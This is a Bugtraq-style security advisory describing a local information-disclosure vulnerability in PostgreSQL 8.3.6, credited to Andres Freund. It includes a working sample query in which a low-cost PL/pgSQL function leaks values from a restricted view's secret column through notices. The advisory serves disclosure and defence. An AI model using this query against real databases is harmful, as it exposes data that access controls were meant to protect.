PostgreSQL Low Cost Function Information Disclosure Vulnerability

Bugtraq ID:	34069
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	No
Local:	Yes
Published:	Mar 10 2009 12:00AM
Updated:	Mar 12 2009 04:36PM
Credit:	Andres Freund
Vulnerable:	PostgreSQL PostgreSQL 8.3.6
Not Vulnerable:

PostgreSQL Low Cost Function Information Disclosure Vulnerability

PostgreSQL is prone to an information-disclosure vulnerability.

Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

PostgreSQL 8.3.6 is vulnerable; other versions may also be affected.

PostgreSQL Low Cost Function Information Disclosure Vulnerability

The following sample query is available:

CREATE OR REPLACE FUNCTION do_tell(anyelement)
RETURNS bool
COST 0.1
VOLATILE
LANGUAGE plpgsql
AS $body$
BEGIN
raise notice 'hah: %s', $1::text;
return true;
END;
$body$;

SELECT * FROM restricted_view WHERE do_tell(secret_column);

PostgreSQL Low Cost Function Information Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PostgreSQL Low Cost Function Information Disclosure Vulnerability

References:

• PostgreSQL Project Homepage (PostgreSQL)
  
• Re: SE-PostgreSQL and row level security/Alternatives (PostgreSQL)